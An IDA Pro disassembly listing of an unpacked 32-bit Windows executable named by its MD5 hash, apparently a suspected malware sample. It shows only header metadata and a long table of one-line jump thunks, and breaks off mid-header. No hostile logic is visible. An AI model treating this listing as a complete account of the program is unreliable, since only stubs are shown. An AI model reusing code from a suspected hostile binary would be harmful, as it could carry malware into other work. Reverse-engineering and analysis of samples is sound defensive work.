;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	2F19786E6B306DD3081DEE15B1C70B86

; File Name   :	u:\work\2f19786e6b306dd3081dee15b1c70b86_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00036000 ( 221184.)
; Section size in file		: 00036000 ( 221184.)
; Offset to raw	data for section: 00001000
; Flags	C00000E0: Text Data Bss	Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write
_294ADE7B	segment	para public 'BSS' use32
		assume cs:_294ADE7B
		;org 401000h
		assume es:nothing, ss:nothing, ds:_294ADE7B, fs:nothing, gs:nothing
		db 5 dup(0CCh)
; ---------------------------------------------------------------------------
		jmp	loc_42A7D0
; ---------------------------------------------------------------------------


loc_40100A:				; DATA XREF: _8C6BDE73:off_437070o
		jmp	loc_411A40

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40100F	proc near		; CODE XREF: sub_4201C0+29p
		jmp	sub_420720
sub_40100F	endp

; ---------------------------------------------------------------------------
		jmp	loc_42C3F0
; ---------------------------------------------------------------------------
		jmp	loc_41F370

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40101E	proc near		; CODE XREF: _294ADE7B:00411773p
		jmp	sub_4117A0
sub_40101E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401023	proc near		; CODE XREF: sub_40ACD0+4Dp
					; sub_40ACD0+5Ap ...
		jmp	sub_4067E0
sub_401023	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401028	proc near		; CODE XREF: sub_41E060+34p
		jmp	sub_40AB60
sub_401028	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40102D	proc near		; CODE XREF: sub_403BE0+4DDp
					; sub_404890+619p ...
		jmp	sub_409B90
sub_40102D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401032	proc near		; CODE XREF: sub_4122A0+3Bp
					; _294ADE7B:004138C0p
		jmp	sub_414370
sub_401032	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401037	proc near		; CODE XREF: sub_42A9E0+6Ep
					; sub_42A9E0+8Ap ...
		jmp	sub_42E160
sub_401037	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40103C	proc near		; CODE XREF: _294ADE7B:0042A0C2p
					; sub_42A9E0+3Fp ...
		jmp	sub_42E000
sub_40103C	endp

; ---------------------------------------------------------------------------
		jmp	loc_422030

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401046	proc near		; CODE XREF: sub_416AE0+227p
		jmp	sub_40BEC0
sub_401046	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40104B	proc near		; CODE XREF: sub_40AB60+3Ap
					; sub_40ABD0+1Ap
		jmp	sub_42DB20
sub_40104B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401050	proc near		; CODE XREF: sub_41CC30+37Bp
		jmp	sub_420300
sub_401050	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401055	proc near		; CODE XREF: sub_40BC20+8p
		jmp	sub_40BDE0
sub_401055	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40105A	proc near		; CODE XREF: sub_42CAA0+5Ap
					; sub_42E890+50p
		jmp	sub_42CA60
sub_40105A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40105F	proc near		; DATA XREF: _8C6BDE73:off_437054o
		jmp	sub_41ACE0
sub_40105F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401064	proc near		; CODE XREF: _294ADE7B:00415A0Ap
		jmp	sub_41E1A0
sub_401064	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401069	proc near		; CODE XREF: sub_40BAC0+32p
		jmp	sub_40BC80
sub_401069	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40106E	proc near		; CODE XREF: _294ADE7B:00415A1Ap
		jmp	sub_4168E0
sub_40106E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401073	proc near		; CODE XREF: sub_4145C0+5Ep
					; sub_415010+32p
		jmp	sub_414F50
sub_401073	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401078	proc near		; CODE XREF: sub_41CC30+161p
					; sub_420AB0+3p
		jmp	sub_420120
sub_401078	endp

; ---------------------------------------------------------------------------
		jmp	loc_419380
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_2. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401087	proc near		; CODE XREF: sub_420300+3p
					; sub_420680+4Fp ...
		jmp	sub_420840
sub_401087	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40108C	proc near		; CODE XREF: sub_407220+Ap
		jmp	sub_4072C0
sub_40108C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401091	proc near		; CODE XREF: sub_422CE0+23p
					; sub_422E80+6p ...
		jmp	sub_422BF0
sub_401091	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401096	proc near		; CODE XREF: sub_42BDA0+F5p
					; sub_42BDA0+14Fp
		jmp	sub_42DF90
sub_401096	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40109B	proc near		; CODE XREF: sub_42E350+C8p
		jmp	sub_42BB30
sub_40109B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010A0	proc near		; DATA XREF: _8C6BDE73:off_437074o
		jmp	sub_41C890
sub_4010A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010A5	proc near		; CODE XREF: sub_416980+D0p
					; sub_416AE0+2Dp
		jmp	sub_417010
sub_4010A5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010AA	proc near		; CODE XREF: sub_40EB00+8D9p
					; sub_40EB00+990p ...
		jmp	sub_4116F0
sub_4010AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010AF	proc near		; CODE XREF: sub_42A250+6Ap
					; sub_42A250+7Ap ...
		jmp	sub_42C0A0
sub_4010AF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010B4	proc near		; CODE XREF: sub_420420+9p
					; sub_420910+18p
		jmp	sub_420A90
sub_4010B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010B9	proc near		; CODE XREF: sub_40A550+58p
					; sub_40A550+82p ...
		jmp	sub_40A740
sub_4010B9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010BE	proc near		; CODE XREF: sub_421170+3F1p
					; _294ADE7B:00422196p ...
		jmp	sub_4181B0
sub_4010BE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010C3	proc near		; CODE XREF: sub_414DA0+7p
		jmp	sub_4153D0
sub_4010C3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010C8	proc near		; CODE XREF: sub_4142B0+4Fp
					; sub_414C00+11p ...
		jmp	sub_414E50
sub_4010C8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010CD	proc near		; CODE XREF: sub_41FF40+1Fp
		jmp	sub_420380
sub_4010CD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010D2	proc near		; CODE XREF: sub_420680+11p
					; sub_420680+27p ...
		jmp	sub_420BA0
sub_4010D2	endp

; ---------------------------------------------------------------------------
		jmp	loc_412AF0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010DC	proc near		; CODE XREF: sub_420100+3p
					; sub_420420+4Fp ...
		jmp	sub_4205E0
sub_4010DC	endp

; ---------------------------------------------------------------------------
		jmp	loc_413190

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010E6	proc near		; CODE XREF: sub_4272C0+3p
		jmp	sub_4272F0
sub_4010E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010EB	proc near		; CODE XREF: sub_414790+11p
					; sub_414790+27p ...
		jmp	sub_415200
sub_4010EB	endp

; ---------------------------------------------------------------------------
		jmp	loc_42E490

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010F5	proc near		; CODE XREF: sub_420230+5p
					; sub_420320+6p ...
		jmp	sub_420820
sub_4010F5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010FA	proc near		; CODE XREF: _294ADE7B:004157CBp
					; _294ADE7B:00433948j ...
		jmp	sub_4163B0
sub_4010FA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010FF	proc near		; CODE XREF: sub_404890+6Ap
					; sub_404890+1AFp ...
		jmp	loc_411260
sub_4010FF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401104	proc near		; DATA XREF: _8C6BDE73:off_437088o
		jmp	sub_4178D0
sub_401104	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401109	proc near		; CODE XREF: sub_42AC40+F7p
					; sub_42CBC0+6p ...
		jmp	sub_42A620
sub_401109	endp

; ---------------------------------------------------------------------------
		jmp	loc_429570

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401113	proc near		; CODE XREF: _294ADE7B:0042238Dp
		jmp	sub_421E50
sub_401113	endp

; ---------------------------------------------------------------------------
		jmp	loc_42D0F0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40111D	proc near		; CODE XREF: sub_413E00+38p
		jmp	sub_414720
sub_40111D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401122	proc near		; CODE XREF: sub_41A020+F7p
					; sub_41A020+10Bp ...
		jmp	sub_409A00
sub_401122	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401127	proc near		; CODE XREF: sub_409470+Ap
		jmp	sub_409560
sub_401127	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40112C	proc near		; CODE XREF: sub_412160+55p
					; sub_412160+94p ...
		jmp	sub_414500
sub_40112C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401131	proc near		; CODE XREF: _294ADE7B:00423893p
					; _294ADE7B:0042457Dp ...
		jmp	sub_421D20
sub_401131	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401136	proc near		; CODE XREF: _294ADE7B:0041394Ep
		jmp	sub_4142B0
sub_401136	endp

; ---------------------------------------------------------------------------


loc_40113B:				; DATA XREF: _8C6BDE73:off_437038o
		jmp	loc_411770

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401140	proc near		; CODE XREF: sub_414B60+11p
					; sub_414B60+27p ...
		jmp	sub_415380
sub_401140	endp

; ---------------------------------------------------------------------------
		jmp	loc_41FE40

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40114A	proc near		; CODE XREF: sub_4171D0+23p
					; sub_417440+11p
		jmp	sub_417520
sub_40114A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40114F	proc near		; CODE XREF: sub_417080+3p
					; sub_417550+54p ...
		jmp	sub_4173A0
sub_40114F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401154	proc near		; CODE XREF: sub_409160+6Ap
					; sub_409160+103p
		jmp	sub_409400
sub_401154	endp

; ---------------------------------------------------------------------------
		jmp	loc_42D9E0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40115E	proc near		; CODE XREF: _294ADE7B:00412B0Dp
		jmp	sub_412900
sub_40115E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401163	proc near		; CODE XREF: _294ADE7B:004188B4p
		jmp	sub_419680
sub_401163	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401168	proc near		; CODE XREF: sub_412160+88p
					; sub_413560+BFp ...
		jmp	sub_4146C0
sub_401168	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40116D	proc near		; CODE XREF: sub_42A620+7p
					; sub_42A690+19p ...
		jmp	sub_42EA30
sub_40116D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401172	proc near		; CODE XREF: sub_416AE0+119p
		jmp	sub_40C8A0
sub_401172	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401177	proc near		; CODE XREF: _294ADE7B:0042C24Ap
		jmp	sub_42BBF0
sub_401177	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40117C	proc near		; CODE XREF: sub_406E90+11p
					; sub_407020+1Fp
		jmp	sub_4070C0
sub_40117C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401181	proc near		; CODE XREF: sub_403360+3B5p
					; sub_403360+3C5p ...
		jmp	sub_403A20
sub_401181	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401186	proc near		; CODE XREF: sub_4202E0+3p
		jmp	sub_420860
sub_401186	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40118B	proc near		; CODE XREF: sub_40BDB0+Ap
		jmp	sub_40BE70
sub_40118B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401190	proc near		; CODE XREF: sub_403360+1Dp
					; sub_406CE0+1Fp ...
		jmp	sub_403890
sub_401190	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401195	proc near		; CODE XREF: sub_411FB0+54p
					; _294ADE7B:004333BCj ...
		jmp	sub_414140
sub_401195	endp

; ---------------------------------------------------------------------------
		jmp	loc_40AA60

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40119F	proc near		; CODE XREF: _294ADE7B:0041395Dp
		jmp	sub_413A00
sub_40119F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011A4	proc near		; CODE XREF: sub_4072C0+7p
					; sub_409560+7p ...
		jmp	sub_4072F0
sub_4011A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011A9	proc near		; CODE XREF: sub_4122A0+73p
					; _294ADE7B:004138FDp ...
		jmp	sub_414390
sub_4011A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011AE	proc near		; CODE XREF: sub_41CC30+58p
		jmp	sub_41EB00
sub_4011AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011B3	proc near		; CODE XREF: sub_412B30+84p
		jmp	sub_412570
sub_4011B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011B8	proc near		; CODE XREF: _294ADE7B:0042D5C8p
		jmp	sub_42AF10
sub_4011B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011BD	proc near		; CODE XREF: sub_407170+8p
		jmp	sub_407250
sub_4011BD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011C2	proc near		; CODE XREF: sub_404890+9Fp
					; sub_404890+230p ...
		jmp	sub_409F90
sub_4011C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011C7	proc near		; CODE XREF: sub_40A2F0+21p
					; sub_40A550+A5p
		jmp	sub_40A530
sub_4011C7	endp

; ---------------------------------------------------------------------------
		jmp	loc_40AAD0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011D1	proc near		; CODE XREF: sub_409F90+129p
					; sub_40A370+4p ...
		jmp	sub_40A340
sub_4011D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011D6	proc near		; DATA XREF: _8C6BDE73:off_4370BCo
		jmp	sub_426860
sub_4011D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011DB	proc near		; CODE XREF: _294ADE7B:0042D45Dp
		jmp	sub_42AC10
sub_4011DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011E0	proc near		; CODE XREF: sub_406FA0+3p
					; sub_407020+4Fp ...
		jmp	sub_407130
sub_4011E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011E5	proc near		; CODE XREF: sub_41BE00+346p
					; sub_41BE00+410p ...
		jmp	sub_41FF40
sub_4011E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011EA	proc near		; CODE XREF: sub_420180+11p
					; sub_420680+1Fp
		jmp	sub_4207B0
sub_4011EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011EF	proc near		; CODE XREF: sub_416AE0+D4p
		jmp	loc_407440
sub_4011EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011F4	proc near		; CODE XREF: sub_40BC80+5Fp
		jmp	sub_40BE50
sub_4011F4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011F9	proc near		; CODE XREF: sub_403190+F6p
					; sub_403190+12Ep ...
		jmp	sub_409790
sub_4011F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4011FE	proc near		; CODE XREF: sub_41CC30+113p
					; sub_41CC30+124p
		jmp	sub_420100
sub_4011FE	endp

; ---------------------------------------------------------------------------
		jmp	loc_41DE30

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401208	proc near		; CODE XREF: _294ADE7B:0041581Bp
					; _294ADE7B:00433902j ...
		jmp	sub_416200
sub_401208	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40120D	proc near		; CODE XREF: sub_40AA20+Fp
		jmp	sub_42B0F0
sub_40120D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401212	proc near		; CODE XREF: sub_4171D0+32p
		jmp	sub_417440
sub_401212	endp

; ---------------------------------------------------------------------------
		jmp	loc_42E6F0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40121C	proc near		; CODE XREF: sub_4141B0+5p
					; sub_4143B0+6p ...
		jmp	sub_414DC0
sub_40121C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401221	proc near		; CODE XREF: sub_40B810+29p
					; sub_40B930+29p
		jmp	sub_40BAC0
sub_401221	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401226	proc near		; CODE XREF: sub_41CC30+3E9p
					; _294ADE7B:0043492Bj
		jmp	sub_4201C0
sub_401226	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40122B	proc near		; CODE XREF: sub_413260+BFp
		jmp	sub_413FA0
sub_40122B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401230	proc near		; CODE XREF: sub_415270+Ap
		jmp	sub_4155B0
sub_401230	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401235	proc near		; CODE XREF: _294ADE7B:00415887p
					; _294ADE7B:004338A3j ...
		jmp	sub_415B00
sub_401235	endp

; ---------------------------------------------------------------------------
		jmp	sub_417130

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40123F	proc near		; CODE XREF: sub_416AE0+24Fp
		jmp	sub_416980
sub_40123F	endp

; ---------------------------------------------------------------------------
		jmp	loc_413420
; ---------------------------------------------------------------------------
		jmp	loc_42A1D0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40124E	proc near		; CODE XREF: sub_40EB00+387p
					; sub_41D500+21Dp ...
		jmp	sub_419DB0
sub_40124E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401253	proc near		; CODE XREF: _294ADE7B:004159DAp
		jmp	sub_416830
sub_401253	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401258	proc near		; CODE XREF: sub_408FF0+8p
		jmp	sub_409040
sub_401258	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40125D	proc near		; CODE XREF: sub_409160+A5p
					; sub_4116A0+21p
		jmp	sub_409370
sub_40125D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401262	proc near		; CODE XREF: sub_404890+385p
					; sub_41BE00+5AAp
		jmp	sub_41A700
sub_401262	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401267	proc near		; CODE XREF: _294ADE7B:0041593Fp
		jmp	sub_403360
sub_401267	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40126C	proc near		; CODE XREF: sub_417280+23p
					; sub_417550+11p
		jmp	sub_4176A0
sub_40126C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401271	proc near		; CODE XREF: sub_422F30+Cp
					; sub_422F30+3Ep ...
		jmp	sub_422A20
sub_401271	endp

; ---------------------------------------------------------------------------
		jmp	loc_42A810

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40127B	proc near		; CODE XREF: sub_403BE0+4C1p
					; sub_404890+860p ...
		jmp	sub_409DF0
sub_40127B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401280	proc near		; CODE XREF: _294ADE7B:00429CB6p
					; _294ADE7B:00429D06p ...
		jmp	sub_42C630
sub_401280	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401285	proc near		; CODE XREF: sub_41CC30+367p
					; sub_41CC30+3D4p ...
		jmp	sub_420350
sub_401285	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40128A	proc near		; DATA XREF: sub_426E00+107o
		jmp	sub_427080
sub_40128A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40128F	proc near		; CODE XREF: sub_422E10+18p
					; sub_422E50+Ap ...
		jmp	sub_422DC0
sub_40128F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401294	proc near		; CODE XREF: sub_414EB0+9p
					; sub_414F50+18p
		jmp	sub_415560
sub_401294	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401299	proc near		; DATA XREF: sub_42C420+32o
		jmp	sub_42CC20
sub_401299	endp

; ---------------------------------------------------------------------------
		jmp	loc_429D00
; ---------------------------------------------------------------------------
		jmp	loc_418280
; ---------------------------------------------------------------------------
		jmp	loc_41E4C0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012AD	proc near		; CODE XREF: _294ADE7B:0042A098p
					; sub_42A250+2p ...
		jmp	sub_42B410
sub_4012AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012B2	proc near		; CODE XREF: sub_412400+3Fp
					; sub_413260+40p ...
		jmp	sub_413EF0
sub_4012B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012B7	proc near		; CODE XREF: sub_404260+19Fp
					; sub_404260+212p ...
		jmp	sub_409A50
sub_4012B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012BC	proc near		; CODE XREF: sub_423580+B5p
					; sub_423580+F1p
		jmp	sub_423510
sub_4012BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012C1	proc near		; CODE XREF: _294ADE7B:00423837p
		jmp	sub_423580
sub_4012C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012C6	proc near		; CODE XREF: sub_42B570+1p
		jmp	sub_42B600
sub_4012C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012CB	proc near		; CODE XREF: _294ADE7B:00426532p
		jmp	sub_4267F0
sub_4012CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012D0	proc near		; CODE XREF: sub_416980+71p
					; sub_416980+BBp ...
		jmp	sub_416FE0
sub_4012D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012D5	proc near		; CODE XREF: sub_409C00+7p
		jmp	sub_409C20
sub_4012D5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012DA	proc near		; CODE XREF: _294ADE7B:0042C878p
					; sub_42C8D0+2Bp
		jmp	sub_42CAA0
sub_4012DA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012DF	proc near		; CODE XREF: sub_42C420+1p
		jmp	sub_42C660
sub_4012DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012E4	proc near		; CODE XREF: sub_41EDB0+37Bp
		jmp	sub_4202A0
sub_4012E4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012E9	proc near		; CODE XREF: sub_4130F0+5Bp
		jmp	sub_413DC0
sub_4012E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012EE	proc near		; CODE XREF: sub_414140+29p
					; sub_414260+29p
		jmp	sub_414CC0
sub_4012EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012F3	proc near		; CODE XREF: _294ADE7B:0042FA72p
					; _294ADE7B:0042FA82p ...
		jmp	sub_42F930
sub_4012F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012F8	proc near		; CODE XREF: sub_412160+5Fp
					; sub_412160+9Ep ...
		jmp	sub_4146F0
sub_4012F8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4012FD	proc near		; CODE XREF: sub_40B080+62p
					; _294ADE7B:0040B548p ...
		jmp	sub_40B9C0
sub_4012FD	endp

; ---------------------------------------------------------------------------
		jmp	loc_42B260
; ---------------------------------------------------------------------------
		jmp	loc_429DE0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40130C	proc near		; CODE XREF: sub_414E20+8p
		jmp	sub_415440
sub_40130C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401311	proc near		; CODE XREF: sub_412160+71p
					; sub_412160:loc_41222Cp ...
		jmp	sub_4146A0
sub_401311	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401316	proc near		; CODE XREF: sub_416980+AFp
					; sub_4176A0+3p
		jmp	sub_4170A0
sub_401316	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40131B	proc near		; DATA XREF: _8C6BDE73:004370E4o
		jmp	sub_426E00
sub_40131B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401320	proc near		; CODE XREF: sub_40B080+39p
					; sub_40B080+78p ...
		jmp	sub_40B9F0
sub_401320	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401325	proc near		; CODE XREF: sub_425400+29p
					; sub_425400+38p
		jmp	sub_425310
sub_401325	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40132A	proc near		; CODE XREF: sub_418BD0+1Cp
		jmp	sub_418C10
sub_40132A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40132F	proc near		; CODE XREF: sub_407E8F+8F2p
					; _294ADE7B:00413211p
		jmp	sub_412FC0
sub_40132F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401334	proc near		; CODE XREF: sub_416AE0+72p
		jmp	sub_4068E0
sub_401334	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401339	proc near		; CODE XREF: sub_409880+7p
					; sub_4099D0+7p ...
		jmp	sub_40A260
sub_401339	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40133E	proc near		; DATA XREF: _8C6BDE73:off_437058o
		jmp	sub_421170
sub_40133E	endp

; ---------------------------------------------------------------------------
		jmp	loc_412870

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401348	proc near		; CODE XREF: sub_416EF0+11p
					; sub_420380+1Fp
		jmp	sub_417310
sub_401348	endp

; ---------------------------------------------------------------------------
		jmp	loc_429D50
; ---------------------------------------------------------------------------
		jmp	loc_4137F0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401357	proc near		; CODE XREF: sub_406F40+1Fp
		jmp	sub_407020
sub_401357	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40135C	proc near		; CODE XREF: sub_423DF0+47Fp
		jmp	sub_4239C0
sub_40135C	endp

; ---------------------------------------------------------------------------
		jmp	loc_429950

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401366	proc near		; CODE XREF: sub_4114B0+3p
					; _294ADE7B:0041580Bp ...
		jmp	sub_4114E0
sub_401366	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40136B	proc near		; CODE XREF: sub_424ED0+Cp
					; sub_425040+Ap ...
		jmp	sub_424E90
sub_40136B	endp

; ---------------------------------------------------------------------------
		jmp	loc_40C070

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


